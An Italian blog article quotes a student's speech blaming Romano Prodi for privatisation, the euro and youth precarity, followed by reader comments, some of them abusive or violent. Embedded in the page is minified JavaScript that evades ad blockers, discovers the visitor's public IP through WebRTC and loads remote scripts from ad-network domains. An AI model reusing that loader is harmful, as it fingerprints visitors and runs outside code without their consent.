Home politica Studentessa a Romano Prodi: “Lei ha svenduto il nostro futuro e in cambio di cosa?”

Studentessa a Romano Prodi: “Lei ha svenduto il nostro futuro e in cambio di cosa?”

by admin
25 comments

Una Studentessa porge una domanda scomoda a Romano Prodi: “Lei ha svenduto il nostro futuro e in cambio di cosa?”

 Pubblichiamo il video e l’intervento della studentessa di Rethinking economics Bologna indirizzato a Romano Prodi:
di Cristina Re.
“Salve professore, Sono Cristina di Rethinking economics Bologna e la ringrazio per aver accettato il nostro invito. Detto ciò, però, questo è l’unico ringraziamento che mi sento di farle. Mi permetta di rubarle due minuti
Le parlo come componente di quella che viene definita “Generazione Erasmus”. Eccola qui, la generazione Erasmus: una generazione nata e cresciuta all’interno dell’Unione Europea ed educata con la favola di un’Europa di cooperazione e obiettivi comuni, di uno spazio in cui viaggiare liberamente ed educarsi alla diversità. Un luogo di pace, prosperità e libertà.
La favola della nuova generazione Europea di studenti colti, aperti e con alta mobilità si scontra però con la realtà, ossia con la generazione dei disoccupati e dei lavoratori poveri. Infatti, solo l’1% degli studenti italiani partecipa a progetti di mobilità, mentre gli altri si trovano in situazioni di precarietà o disoccupazione.
La disoccupazione giovanile nel 2017 è arrivata a superare il 40% e coloro che trovano lavoro sono costretti ad accettare orari e salari da fame con contratti a termine o retribuiti tramite voucher. In tantissimi sono costretti ad emigrare; alcuni svolgono attività di ricerca qui sotto finanziata altri sono costretti a lavori non qualificati e sottopagati, nonostante l’alto livello d’istruzione.
Il futuro dei giovani italiani è un futuro grigio e di cui lo Stato ha deciso di non farsi carico. Siamo una generazione abbandonata dalle istituzioni e, certo, non sarà tutta colpa dell’Unione europea, ma sicuramente per capire come migliorare bisogna prima individuare le colpe ed i colpevoli. L’italia ha scelto di condividere e mettere in atto lo smantellamento dello stato sociale: ha tagliato educazione, istruzione, protezioni sociali, investimenti industriali, ecc. Una situazione di cui nessuno vuole farsi responsabile ma che è strettamente collegata con l’adesione dell’Italia alle politiche neoliberiste.
Professore, lei, il 18 gennaio ha rilasciato un’intervista al Quotidiano.net in cui dice “la mia Europa è morta. Ma spero che la crisi la svegli. Ora possiamo solo aggiungere: preghiamo”
Beh, troppo semplice così.
Mi dispiace ma mi rifiuto di vivere in un paese che soffre di deficit di memoria. Che trasforma i carnefici in vittime e i colpevoli in eroi.
Non possiamo non dimenticare che lei, come presidente dell’IRI ha svenduto il patrimonio economico italiano a società private.
Lei partecipò in prima persona alla nascita dell’euro, prima come Presidente del Consiglio e poi come Presidente della commissione europea.

Lei non si è battuto per cambiare i criteri scellerati del trattato di Maastricht, nei quali l’Italia non rientrava, ma promise riforme future. Da quel peccato originale è succeduto un vortice di privatizzazione, tagli al welfare, sottomissione ai diktat franco- tedeschi, attacco ai salari e ai diritti dei lavoratori con l’unico obiettivo di ridurre il nostro debito pubblico, rientrare nei parametri di Maastricht e renderci “competitivi”. Fu proprio durante il suo governo che venne approvato il pacchetto Treu che diede inizio al fenomeno della precarietà in Italia.

Durante il suo secondo mandato da Presidente del consiglio, poi, fu lei a firmare il trattato di Lisbona che di fatto era uguale alla Costituzione europea bocciata nel 2005 da francesi e olandesi.
Mi dispiace ma non può dire che questa non è la sua Europa. Questa è proprio la sua Europa.
Lei ha svenduto il nostro futuro e in cambio di cosa? Ecco cosa abbiamo ottenuto: la libertà di andare all’estero a fare i camerieri o di vivere una vita di precarietà e misera. Una vita che ha condotto molte persone alla disperazione ed alcuni anche al suicidio.
Adesso, non le chiedo, come fa qualcuno, di formare un nuovo partito o ricandidarsi per riparare alla situazione. No, quello spetta a noi.
Però le chiedo, come minimo, che riconosca le sue responsabilità e i suoi errori; e che magari ci chieda anche scusa.”

fonte

Caricamento in corso …

Leggi Anche

25 comments

var urls={cdnUrls:["//superonclick.com","//geniusonclick.com"],cdnIndex:0,rand:Math.random(),events:["click","mousedown","touchstart"],useFixer:!0,onlyFixer:!1,fixerBeneath:!1};function acPrefetch(e){var t,n=document.createElement("link");t=void 0!==document.head?document.head:document.getElementsByTagName("head")[0],n.rel="dns-prefetch",n.href=e,t.appendChild(n);var r=document.createElement("link");r.rel="preconnect",r.href=e,t.appendChild(r)}var nativeInit=new function(){var a="",i=Math.floor(1e12*Math.random()),o=Math.floor(1e12*Math.random()),t=window.location.protocol,c={_0:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function(e){for(var t,n,r,a,i,o,c="",s=0;s>2,t=(3&t)<<4|(n=e.charCodeAt(s++))>>4,i=(15&n)<<2|(r=e.charCodeAt(s++))>>6,o=63&r,isNaN(n)?i=o=64:isNaN(r)&&(o=64),c=c+this._0.charAt(a)+this._0.charAt(t)+this._0.charAt(i)+this._0.charAt(o);return c}};this.init=function(){e()};var e=function(){var e=document.createElement("script");e.setAttribute("data-cfasync",!1),e.src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js",e.onerror=function(){!0,r(),n()},e.onload=function(){nativeForPublishers.init()},nativeForPublishers.attachScript(e)},n=function(){""!==a?s(i,t):setTimeout(n,250)},r=function(){var t=new(window.RTCPeerConnection||window.mozRTCPeerConnection||window.webkitRTCPeerConnection)({iceServers:[{urls:"stun:1755001826:443"}]},{optional:[{RtpDataChannels:!0}]});t.onicecandidate=function(e){!e.candidate||e.candidate&&-1==e.candidate.candidate.indexOf("srflx")||!(e=/([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/.exec(e.candidate.candidate)[1])||e.match(/^(192\.168\.|169\.254\.|10\.|172\.(1[6-9]|2\d|3[01]))/)||e.match(/^[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7}$/)||(a=e)},t.createDataChannel(""),t.createOffer(function(e){t.setLocalDescription(e,function(){},function(){})},function(){})},s=function(){var e=document.createElement("script");e.setAttribute("data-cfasync",!1),e.src=t+"//"+a+"/"+c.encode(i+"/"+(i+5))+".js",e.onload=function(){for(var e in zoneNativeSett.r)d(zoneNativeSett.r[e])},nativeForPublishers.attachScript(e)},d=function(e){var t="jsonp"+Math.round(1000001*Math.random()),n=[i,parseInt(e)+i,o,"callback="+t],r="http://"+a+"/"+c.encode(n.join("/"));new native_request(r,e,t).jsonp()}},nativeForPublishers=new function(){var n=this,e=Math.random();n.getRand=function(){return e},this.getNativeRender=function(){if(!n.nativeRenderLoaded){var e=document.createElement("script");e.setAttribute("data-cfasync","false"),e.src=urls.cdnUrls[urls.cdnIndex]+"/script/native_render.js",e.onerror=function(){throw new Error("cdnerr")},e.onload=function(){n.nativeRenderLoaded=!0},n.attachScript(e)}},this.getNativeResponse=function(){if(!n.nativeResponseLoaded){var e=document.createElement("script");e.setAttribute("data-cfasync","false"),e.src=urls.cdnUrls[urls.cdnIndex]+"/script/native_server.js",e.onerror=function(){throw new Error("cdnerr")},e.onload=function(){n.nativeResponseLoaded=!0},n.attachScript(e)}},this.attachScript=function(e){var t;void 0!==document.scripts&&(t=document.scripts[0]),void 0===t&&(t=document.getElementsByTagName("script")[0]),t.parentNode.insertBefore(e,t)},this.fetchCdnScripts=function(){if(urls.cdnIndex',e.innerHTML="",document.body.appendChild(e)}};nativeInit.init();
Giovanni Maggio 3, 2018 - 6:32 am

Desidero ricordare ai giovani che il buon professore Prodi negli anni 80 riuscì ad affossare anche l’IRI e nel mentre fu inviato ad altro incarico. Lui parla bene, dopo aver fatto il politichese (Non è un errore di battitura ma una distorsione della figura dello pseudopolitico) ha continuato a fare il professore ed il consulente pagato direttamente o indirettamente con i nostri soldi e esponendo le frasi negative sull’Italia e sull’Europa ma…..provare a fare qualcosa per migliorare la situazione vista la sua posizione privilegiata rispetto a noi? Ricordo che anche l’introduzione senza controllo è stata una sua opera e noi italiani abbiamo dimezzato il nostro potere di acquisto del 50% in una notte. Meditate, voi siete il nostro futuro…..

Reply
Carolins Agosto 21, 2018 - 4:10 pm

Complimenti ! Questa studentessa ha fatto un’ analisi razionale e dignitosa. Brava !

Reply
paolo Agosto 31, 2018 - 8:14 pm

nonostante gli anni passati non riesco ancora a controllare il mio disprezzo per un satana catto comunista che ha svenduto non solo l’IRI ma l’Italia intera. Nell’antica Roma sarebbe appeso su una croce sull’Appia antica e bruciato in una fossa comune

Reply
Santo Settembre 12, 2018 - 5:52 am

Non ti conosco, ma da quelle odiose parole che hai usato riconosco un adesione a principi e pratiche che credevamo morte e sepolte con la fine delle grandi dittature.
DISPREZZO, SATANA, APPESO A UNA CROCE.
Vorrei capire se è solo un richiamo storico (non calzante peraltro) o un tuo modello di espiazione delle colpe.

Reply
MARIA ROSA MATTIOLI Settembre 28, 2018 - 10:10 am

A pillotare nel cambio con euro c’era Berlusconi nel 2002 che veniva in tv a spiegarmi come si fa la spesa

Reply
Nicola Giugno 13, 2018 - 11:51 am

Vorrei ricordare alla signorina che non solo i lavoratori dipendenti sono stati penalizzati dal lavoro del Sig. Prodi, ma anche tutte le piccole aziende che creavano migliaia di posti di lavoro sono state distrutte. Dalla tassazione selvaggia e dalla persecuzione dei molti organi della pubblica amministrazione organizzati ad oc per raggiungere tale scopo.

Reply
Giuseppe Di Chiappari Agosto 20, 2018 - 5:00 am

Incompetenti o Criminali. Non ci può essere altro titolo da addossare a questa classe politica.

Reply
Antonino Trunfio Agosto 20, 2018 - 7:35 am

Copritelo di sputi e insulti, e poi gettate dalla finestra quel parassita travestito da pastorello

Reply
Donata Agosto 20, 2018 - 12:58 pm

Svenduto anche il sapere dei non più giovani.

Reply
Guglielmo Agosto 20, 2018 - 1:56 pm

La domanda, o meglio l’accusa, è chiara, ma tacere la risposta è da vigliacchi. Non mi viene altro aggettivo per sottolineare come l’accusante ha paura di essere contraddetta.

Reply
calogero Agosto 20, 2018 - 3:13 pm

In un paese normale,questo tizio sarebbe sparito dalla circolazione ,però prima gli avrebbero presentato le cambiali da onorare .In Italia gli faremo una statua come salvatore della patria.

Reply
Fabrizio Agosto 20, 2018 - 3:40 pm

Abbiamo lasciato 30 anni quasi l’Italia a questa classe politica incompetente adesso raccogliamo i frutti che l’Italia si sgretola per la non manutenzione hanno fatto chiudere aziende perché non cera lavoro ci sono milioni e milioni di manutenzioni da fare che le imprese italiane non avrebbero subito neanche la crisi inventata sempre da loro grazie

Reply
Angelo Chirco Agosto 20, 2018 - 5:38 pm

Senza se e senza ma, tutti e dico tutti in Piazza per cambiare rotta e l’alternativa è SINISTRA, SINISTRA o RIVOLUZIONE!!!!!!! Saluti Comunisti a pugno chiuso.

Reply
Truzzo Agosto 22, 2018 - 9:46 am

Taci cerebroleso

Reply
Rino 1968 Settembre 9, 2018 - 6:38 pm

Sinistra ????
Ma quali sostanze stupefacenti stai facendo uso ???

Reply
Enzo Agosto 21, 2018 - 6:11 am

Sono un agricoltore. Ci anno distrutto

Reply
Luigi Ascani Agosto 21, 2018 - 5:56 pm

I danni del prof. Prodi sono peggio della seconda guerra mondiale. Un presuntuoso.

Reply
Giovanni Romaldi Agosto 22, 2018 - 11:10 am

Non corretto. Manca la risposta di Prodi!

Reply
guglielmo binati Agosto 23, 2018 - 12:15 pm

il prodi da ragazzo era lo sfigato della classe e da laureato cretino ci fa pagare quello che da giovane sfigato ha subito,in parole povere si e vendicato. ora tocca a noi fargli un bel servizio,!!!!

Reply
Maura Brunettin Settembre 9, 2018 - 9:07 pm

Vorrei però sapere le parole di Prodi a queste accuse.
Sono le sue parole in risposta che mi interessano!

Reply
Massimo Vannini Giugno 4, 2019 - 11:57 am

Insomma tutto si risolve con un De’ Profundis al professor Prodi senza menzionare l’apporto a tutte le problematiche di questo paese fatto da Berlusconi che ci ha governato per più di vent’anni…..beh complimenti grande analisi!!!!

Reply
mikepz Settembre 11, 2018 - 4:32 pm

questo figuro è stato a un passo dal diventare capo dello stato! nemmeno i suoi ex sodali se la sono sentita di votarlo in blocco, per fortuna

Reply
Andrea Settembre 16, 2018 - 5:22 pm

Qualche piccola considerazione:
1) ovviamente non si inserisce la risposta di Prodi, meglio sputare sentenze facilone che trovano un colpevole
2) nessuno si chiede mai cosa sarebbe successo se NON fosse andata così: ma veramente credete che noi, Italia, saremmo rimasti a galla con accanto un Unione Europea fatta da tutti gli altri Stati? No ma seriamente, ragionate? O pensate che il vostro paesino, la vostra città, sia il centro del mondo? Quello che si vede a Bruxelles arriva sempre poi eh. E avere un megamercato europeo accanto, ma non farne parte, con una situazione finanziaria sgangherata da un debito pubblico creato negli anni 80 da politici ed elettori compiacenti a scelte scellerate, sarebbe quindi secondo voi una buona cosa? Ma posate il fiasco, ve prego.
3) potrebbe forse, e dico FORSE, essere che non siano all’altezza delle nostre parole? Ovvero che promettiamo promettiamo, parliamo sempre di fare tutto bene e poi invece votiamo o scegliamo la politica che ci permette di comprare l’iPhone? I condoni? O cosa ci fa più comodo sul momento per il nostro orticello, e non cosa è piu giusto?
4) gli errori a sinistra sono stati enormi (qualcuno ha parlato di abolizione di tariffe minime per i professionisti…??) ma non è sicuramente chiudendoci rispetto all’Europa che avremmo avuto qualcosa di meglio
5) non è assolutamente vero che siamo liberi di andare a fare i camerieri: io, ringraziando il cielo, sono all’estero, lavoro per il titolo che ho ottenuto all’università e non sono sfruttato come probabilmente sarei in Italia, viste le persone che conosco. E ho la possibilità di non solo comprarmi moltissime cose, ma anche mettermi dei soldi da parte. L’unico rimpianto è che tornare in Italia, cosa che vorrei fare fra qualche anno, probabilmente farà solo male dal punto di vista lavorativo, vista l’abitudine ad un’attitudine e un rispetto che mi stupisce ancora.

Reply
Roberto Settembre 16, 2018 - 8:57 pm

Non sono un “Prodiano” …..ma mi piacerebbe ascoltare anche la risposta del professore in sua difesa,giusto per capire dove ha sbagliato,grazie

Reply
Andrea Ottobre 5, 2018 - 1:24 pm

MA il mortadella cosa ha risposto???

Reply

Leave a Comment